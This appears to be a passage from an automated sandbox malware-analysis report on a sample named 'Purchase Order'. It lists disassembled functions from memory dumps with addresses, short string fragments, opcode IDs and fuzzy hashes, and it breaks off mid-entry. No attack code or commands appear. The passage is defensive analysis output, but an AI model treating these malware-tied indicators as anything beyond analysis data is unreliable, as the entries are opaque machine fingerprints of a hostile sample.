Instruction Fuzzy Hash: D4D12870E00519DFDB14CFA9E984AADBBFAFF88304F158169E905AB3A5D730E851CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0166BC08 Relevance: 3.9, Strings: 3, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0omp, xrefs: 0166BCA2
PHfq, xrefs: 0166BE98
PHfq, xrefs: 0166BE87

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$PHfq$PHfq
API String ID: 0-1758807719
Opcode ID: 26fbeac6c2b11977ee19ac3dd7c72740eb2900403b43dbb2dfc114d90fc4b035
Instruction ID: a044103b3703e606324dfbb3aa3c6551efe3a009c4a235046717969e63b4b155
Opcode Fuzzy Hash: 26fbeac6c2b11977ee19ac3dd7c72740eb2900403b43dbb2dfc114d90fc4b035
Instruction Fuzzy Hash: B361E6B1E00218CFDB18DFAAD984A9DBBF6FF88310F14916AD409AB365DB309941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0166B552 Relevance: 3.9, Strings: 3, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0omp, xrefs: 0166B5C2
PHfq, xrefs: 0166B7B8
PHfq, xrefs: 0166B7A7

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$PHfq$PHfq
API String ID: 0-1758807719
Opcode ID: cec0cfb88f92435300e621a26f3b7e1ee02fef0a61024d09c772b9fd8d900052
Instruction ID: 494c51138680c494900f2ad85099cd69e8e417b3231a315a7382b9e60d815d2f
Opcode Fuzzy Hash: cec0cfb88f92435300e621a26f3b7e1ee02fef0a61024d09c772b9fd8d900052
Instruction Fuzzy Hash: 9261C774E00218DFDB18DFAAD984A9EBBF2FF88300F148069E915AB365DB349941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 016698B8 Relevance: 3.4, Strings: 2, Instructions: 854COMMON

Download Yara Rule

Strings

(ofq, xrefs: 01669CD8
4'fq, xrefs: 0166A2D3

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: (ofq$4'fq
API String ID: 0-2623281765
Opcode ID: c2e1483c9e333192b0a03a63b262f3f3c0c92d6bdc2f7965f7f8f59c06e8ec22
Instruction ID: 4dc04bc22b6ee7e64f950394556e3877bfa09b6af713c72a10a23a5d58ea2c13
Opcode Fuzzy Hash: c2e1483c9e333192b0a03a63b262f3f3c0c92d6bdc2f7965f7f8f59c06e8ec22
Instruction Fuzzy Hash: 3872AE30A00219DFCB15CFA8C984AAEBBFAFF89304F198559E905AB365D731ED51CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01666168 Relevance: 3.0, Strings: 2, Instructions: 513
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hjq, xrefs: 0166656E
(ofq, xrefs: 016666A2

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: (ofq$Hjq
API String ID: 0-2051923243
Opcode ID: 521053ff673e1cbcf98c89d781e71afb70b2d32bde9ae174e8d99f9ec48c5c60
Instruction ID: 19392a52bff1010a1fab774e672687892acc3fa5451f1c71b70398c877fb64ac
Opcode Fuzzy Hash: 521053ff673e1cbcf98c89d781e71afb70b2d32bde9ae174e8d99f9ec48c5c60
Instruction Fuzzy Hash: C4128E70A002198FDB14DF69D954AAEBBFAFF88300F14856DE506DB395EB349D41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06E98C51 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PHfq, xrefs: 06E98EAB
PHfq, xrefs: 06E98E9A

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID: PHfq$PHfq
API String ID: 0-3546021038
Opcode ID: 04e6888a0da5fb14fc60ffefd3ca053dce6bfd0b9d93d142d068dca8da93479b
Instruction ID: 0358737800e9d74e075e088314f902ac65a041e4e04575842fb6fa96eaf47b27
Opcode Fuzzy Hash: 04e6888a0da5fb14fc60ffefd3ca053dce6bfd0b9d93d142d068dca8da93479b
Instruction Fuzzy Hash: 5381D070E01218CFDB58CFA9D9947AEBBF2BF89304F20956AD419AB3A4DB305945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05DB7BA8 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4127452852.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5db0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34570860c309f25d45babaee03c7094fd2f817890d8ae554712192e9472eab2e
Instruction ID: 5cdcc9ce5b55935263cfa9d9b3cfbe794b83d46d5f0b7385050924f199b4096e
Opcode Fuzzy Hash: 34570860c309f25d45babaee03c7094fd2f817890d8ae554712192e9472eab2e
Instruction Fuzzy Hash: DDF1D574E01218DFDB14DFA9C984B9DBBB2FF88300F5481AAD809AB355DB749986CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E911A0 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75ea1049fb7cc1bcb026bc6a31326999691591721ae2d600aca5570001c68ca
Instruction ID: bde06b4dc2b564a975e682d33a539134da44b7b229c0e21e4d77e31e90d69420
Opcode Fuzzy Hash: e75ea1049fb7cc1bcb026bc6a31326999691591721ae2d600aca5570001c68ca
Instruction Fuzzy Hash: AC827D74E012298FDB64DF69D998BDDBBB2BF49300F1081EA980DA7264DB345E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0166EDF0 Relevance: .7, Instructions: 716COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a96448b8febc8806bf0b713c01e98b82fa09f09617835130e9b894573677490f
Instruction ID: 30ffe44fe0408c0c40e91cb2e135ba065c4c97eaa1ea0d2f02072299f5ad1da2
Opcode Fuzzy Hash: a96448b8febc8806bf0b713c01e98b82fa09f09617835130e9b894573677490f
Instruction Fuzzy Hash: AE72DD74E01229CFDB64CF69D994BD9BBB6BB49300F1491EAD408A7265DB34AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06E98608 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e79a65a3dfce1ffb9d6e166df80c34eb51be9ce21b9b36c324e28369f6d7c0fc
Instruction ID: 82ada24a74018ce035599109e43904fbfbb28e716cd7450ee261f2afaf1aa95b
Opcode Fuzzy Hash: e79a65a3dfce1ffb9d6e166df80c34eb51be9ce21b9b36c324e28369f6d7c0fc
Instruction Fuzzy Hash: 35E1B274E01218CFEB64DFA9D984B9DBBB2BF89304F2081AAD409A7394DB755D85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 0166FA10 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8192e38fa13cfccd02f404ab335cdf4867861e031f51678fe7a75f63e3edf9c3
Instruction ID: 635564727981ed6e5704e8c2e333c74caf524e56c9c91cbfe23c4cf6ca8ba097
Opcode Fuzzy Hash: 8192e38fa13cfccd02f404ab335cdf4867861e031f51678fe7a75f63e3edf9c3
Instruction Fuzzy Hash: 7FD18F74E01218CFDB14DFA9D994B9DBBB2BF89300F1081A9D809AB355DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E9B6E8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4ebe12dde0e601a6f7938f904f032b574e7b6d1e23ecb99f5a34433af2b8d10
Instruction ID: bb1239f3340bc2de76e7796024228e5d4bedd82667aafa2cd813fc485b938d13
Opcode Fuzzy Hash: b4ebe12dde0e601a6f7938f904f032b574e7b6d1e23ecb99f5a34433af2b8d10
Instruction Fuzzy Hash: 0EA1A474E012188FEB68CF6AD944B9EBBF2AF89300F14D0AAD409A7254DB705A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E9D670 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b1fb42aaccca03de6f1f62205ee1182d551f70d164a02fc99f18163160e37
Instruction ID: afa72019ef5ff5b3366c8caac673ea41c9410cf3ecdbfe22945f70a7f79d2bc3
Opcode Fuzzy Hash: 703b1fb42aaccca03de6f1f62205ee1182d551f70d164a02fc99f18163160e37
Instruction Fuzzy Hash: 6CA1B374E016288FEB68CF6AD944B9DBBF2BF89300F14D0AAD40DA7255DB705A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E9C388 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06977fc67efa1fc84814134b790466aab37487cc8a703a4ab1bcd1517346af69
Instruction ID: e44cd404d2d67093d26aaf04c103ef9c7b62affc95faf134f4c729b90239d447
Opcode Fuzzy Hash: 06977fc67efa1fc84814134b790466aab37487cc8a703a4ab1bcd1517346af69
Instruction Fuzzy Hash: ABA1A471E01218CFEB64DF6AD944B9DBBF2AF89300F14D0AAD40DA7255DB305A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 06E9A408 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abf9ee02151fbb912b87bd5f3ba49e6da910db80ad066718bb1922fdaa383ba8
Instruction ID: 9fb0ca7d337910ca0d2c78a19cfeb3393dff923bdf77e0eaeed2d5dab9841799
Opcode Fuzzy Hash: abf9ee02151fbb912b87bd5f3ba49e6da910db80ad066718bb1922fdaa383ba8
Instruction Fuzzy Hash: 41A1B375E012188FEB68CF6AD944B9DBBF2BF89300F14D0AAD409A7255DB305A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 06E9C9D8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37d8b4492c5e551dad2fb98ce8c81c5e04e6931d99d6cead534a65f75a90c32b
Instruction ID: f3b54d8fd13151dd69547aa37e688aa78180673116039351ca3f5463597fdffa
Opcode Fuzzy Hash: 37d8b4492c5e551dad2fb98ce8c81c5e04e6931d99d6cead534a65f75a90c32b
Instruction Fuzzy Hash: 10A1A4B5E016188FEB68DF6AD944B9DBBF2AF89300F14D0AAD40DA7254DB305A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E9BD38 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23344bdb8c381210897b9bb81760aa41f911f8cde9e7a5d3ec221b2e5ebaac1f
Instruction ID: 757bf0d37bea71dd0ed9609340c74c26c728bd8b43a25a3cae9278336cc3778b
Opcode Fuzzy Hash: 23344bdb8c381210897b9bb81760aa41f911f8cde9e7a5d3ec221b2e5ebaac1f
Instruction Fuzzy Hash: 5FA1A375E01218CFEB68CF6AD944B9EBBF2BF89300F14D0AAD409A7255DB305A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06E9AA58 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c069c87bed9992abd6b6ff3bf98cf4e8cb6fb1c7b5e37a62804cbbe00df2958
Instruction ID: 0c23577ff19ac76c492251eb01e40d32b771de77dd73588851277d7ad383857e
Opcode Fuzzy Hash: 5c069c87bed9992abd6b6ff3bf98cf4e8cb6fb1c7b5e37a62804cbbe00df2958
Instruction Fuzzy Hash: EDA1A475E012188FEB68CF6AD944B9EFBF2AF89300F14D0AAD409A7254DB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E9B0A0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bafe53ce6c1942f98f0a6b0051863c39cbbe90bd10e9c96c4a6db2b3e1eb4e8a
Instruction ID: b19f52c3f00ba40f298cfa27a7eebc81c7d0952340922837c3d73acf92a7eb7b
Opcode Fuzzy Hash: bafe53ce6c1942f98f0a6b0051863c39cbbe90bd10e9c96c4a6db2b3e1eb4e8a
Instruction Fuzzy Hash: 78A1A475E012188FEB68CF6AD944B9EFBF2BF89300F14D0AAD409A7254DB305A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E9D028 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f912832bee0c6a12e306fdd456e267db0c2cf0a7459ee1ea935372f146db172
Instruction ID: 347e0dc1edb2187ac13b07c2d5edc6968145d47ff4edef8ef612fbfe0e1d706d
Opcode Fuzzy Hash: 9f912832bee0c6a12e306fdd456e267db0c2cf0a7459ee1ea935372f146db172
Instruction Fuzzy Hash: 20A1A471E016288FEB68CF6AC944B9DFBF2AF89300F14D0AAD40CA7254DB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E91191 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e55763a736ba83baa9004d3011eea234ea5e42a67f244691518ff49882caab
Instruction ID: f430dbab75719ac7bc7b58dfb4ff10145252a58a2077bfff4f099c88e42f4f1e
Opcode Fuzzy Hash: 61e55763a736ba83baa9004d3011eea234ea5e42a67f244691518ff49882caab
Instruction Fuzzy Hash: 7F81A074E022299FDB64DF69D984BDDBBB2BF89300F1081EAD809A7254DB305E80CF54

Uniqueness

Uniqueness Score: -1.00%

Function 06E9B090 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c61eeb757aa6ead6645d63f8844bba29b468984c96757cad7ea7ea93973eaf3
Instruction ID: 280395dab4a786d98c183f8d89b751494921a4a5127a436cb519bbe37f881566
Opcode Fuzzy Hash: 2c61eeb757aa6ead6645d63f8844bba29b468984c96757cad7ea7ea93973eaf3
Instruction Fuzzy Hash: 67819371E01618CFEB68CF6AD944B9EBAF2AF89300F14C1AAD40DA7254DB304A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06E9AA48 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58dea6e68e23f4ded67afbe06ac54d054a6f6337e72c2b414c4d73bcfd114a95
Instruction ID: b0c3bb16bbf659f131ba3c0b46fd405a67db874002d91c78ed72f25b98c5d174
Opcode Fuzzy Hash: 58dea6e68e23f4ded67afbe06ac54d054a6f6337e72c2b414c4d73bcfd114a95
Instruction Fuzzy Hash: 1C718571E016188FEB68CF6AD944B9EFAF2AF89300F14C1AAD40DA7254DB744A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06E9D021 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c105734ffda70241be519ba1652880e4e7233f258f0e1cb86cf5a44984e44579
Instruction ID: 246619307a407cb6b706ec63fa9a77df47bfecd0e856113b91296f63ffc724d4
Opcode Fuzzy Hash: c105734ffda70241be519ba1652880e4e7233f258f0e1cb86cf5a44984e44579
Instruction Fuzzy Hash: 45718671E016288FEB68CF6AD944B9DFAF2AF89300F14C1AAD40DA7254DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06E9C9C8 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3174ddc3f4e1ec63f68396d03ec80ef7e1dafeb8e81f8dd442f802a7dfae280
Instruction ID: e0caf077c0d2df08b9438c26058eecbf4ab6042f631d246fa11a36154295d5e5
Opcode Fuzzy Hash: c3174ddc3f4e1ec63f68396d03ec80ef7e1dafeb8e81f8dd442f802a7dfae280
Instruction Fuzzy Hash: 91418C71E016188BEB58CF6BDD4578AFAF3AFC9310F14C1AAC50CA6264EB340A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 06E98602 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f760d8d5ac40216428228d93bbb20a10aaa3e73f7af6d2d9e9a3da2f90a80d6
Instruction ID: 3c650115bdaef6a2c65b1f46b05713db95e1ff3c55c6747b64fd6562cb6c29ae
Opcode Fuzzy Hash: 8f760d8d5ac40216428228d93bbb20a10aaa3e73f7af6d2d9e9a3da2f90a80d6
Instruction Fuzzy Hash: 5341B4B0E012088BEB58DFAAC9547DEFAF2AF89300F14D46AC418BB264DB754945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 06E9D661 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2c14822cef24ec4311cc9dc984bc4fd48cecf866cd2bb008a06426da64099e9
Instruction ID: 7ded90f5570900dbbcf0e474a0ebad5542a6616a4b54b93046c942ab69561735
Opcode Fuzzy Hash: b2c14822cef24ec4311cc9dc984bc4fd48cecf866cd2bb008a06426da64099e9
Instruction Fuzzy Hash: 774179B1E016188BEB58CF6BDD457C9FAF3AFC8310F04C1AAC50CA6264DB740A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 06E9A3FA Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf04c18a56063977c829101fa518cfc049e346f50b3cef1b36e22ee66f95f3b
Instruction ID: 42797cc777d4cfb28393ddc28924c5a868f612c3cdbb87b3beec0443a2a27c51
Opcode Fuzzy Hash: dbf04c18a56063977c829101fa518cfc049e346f50b3cef1b36e22ee66f95f3b
Instruction Fuzzy Hash: 81414EB1E016188BEB58CF6BDD457C9FAF3AFC8314F14C1AAD50CA6264DB740A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 06E9C378 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abdbc3c805da658e48cfd211fbcbf8947a62cedce9e5f6cb1fb41f79b0744a00
Instruction ID: 9aeac34bf7b255299c08a6d8225c58fd8333a040b6cd218b9f1d5c3f305a9304
Opcode Fuzzy Hash: abdbc3c805da658e48cfd211fbcbf8947a62cedce9e5f6cb1fb41f79b0744a00
Instruction Fuzzy Hash: 5F418CB1E016188BEB58CF6BC9457CDFAF3AFC8314F14C1AAD50CA6264EB740A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 06E9B6D8 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05078f6486645d7578f1e4dcb43aef00a9f289733d8f450423ff5746012d3640
Instruction ID: e8b76002280bb5690b792b5b4573677402830ded034953ba4eb356e93373010a
Opcode Fuzzy Hash: 05078f6486645d7578f1e4dcb43aef00a9f289733d8f450423ff5746012d3640
Instruction Fuzzy Hash: D4416CB1D016188BEB58CF6BD9457CEFAF3AFC9310F14C1AAC50CA6264DB740A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 06E9BD36 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2c5d8ce00920893ef5ee51e4db746a164eb0b0380320a4f47fc06ffc502341
Instruction ID: e7ba74f051607f0ad9723bded5dcfb35502b97c86f6b6ca7f12b819a0db794bd
Opcode Fuzzy Hash: 8d2c5d8ce00920893ef5ee51e4db746a164eb0b0380320a4f47fc06ffc502341
Instruction Fuzzy Hash: 1D4139B1E016188BEB58CF6BD9457CAFAF3AFC9304F14C1AAC50CA6264DB744A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 01666EB8 Relevance: 10.5, Strings: 8, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ofq, xrefs: 01666EF6
(ofq, xrefs: 01666FDD
,jq, xrefs: 01667358
(ofq, xrefs: 0166707A
(ofq, xrefs: 01666FB1
,jq, xrefs: 01667368
(ofq, xrefs: 016673D7
(ofq, xrefs: 016673C7

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$(ofq$(ofq$(ofq$(ofq$,jq$,jq
API String ID: 0-3756152659
Opcode ID: 8d33d1c1f2515b26f779bce5c56315e4edcf0bd30de80ff47628e0e9356854bf
Instruction ID: a96da0dde631bfe3c24e40e2fc1cfecea9416a4a3f7c9785962ce3b7fc82d688
Opcode Fuzzy Hash: 8d33d1c1f2515b26f779bce5c56315e4edcf0bd30de80ff47628e0e9356854bf
Instruction Fuzzy Hash: 8B123830A01209DFCB15DF69D984A9EBBFABF48318F148559E915EB361DB30ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01667850 Relevance: 3.2, Strings: 2, Instructions: 690
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$fq, xrefs: 01668374
$fq, xrefs: 01668397

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: $fq$$fq
API String ID: 0-2537786760
Opcode ID: fa171c42dd1009738ba5ea2f485207d95a1fc71e69802ff5c607b14abcfb179d
Instruction ID: dfb5889efc6f98131928d7848432019f1ba491ac992b257e3b7199a158b98a62
Opcode Fuzzy Hash: fa171c42dd1009738ba5ea2f485207d95a1fc71e69802ff5c607b14abcfb179d
Instruction Fuzzy Hash: 1052EE74A012198FEB54DBE8C850B9EBBB6FF94300F1081A9C20A6B3A5DF359D85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 01668849 Relevance: 2.8, Strings: 2, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'fq, xrefs: 01668871
4'fq, xrefs: 01668897

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq
API String ID: 0-751858264
Opcode ID: 73b7aa2aa535468a4b07f4997b03bbaf62840ded8b520efbc28d7e2c9cffa656
Instruction ID: 7943ea59a3af6c10f5beb66c2b9214c43e6aec115e1ad57c8a42ab7b8ed36543
Opcode Fuzzy Hash: 73b7aa2aa535468a4b07f4997b03bbaf62840ded8b520efbc28d7e2c9cffa656
Instruction Fuzzy Hash: 81B14FB43017018FEB155F3DCD58B3D3AAEAF84640F154069EA06CB3A9EB29DC829781

Uniqueness

Uniqueness Score: -1.00%

Function 01665700 Relevance: 2.8, Strings: 2, Instructions: 323
COMMON

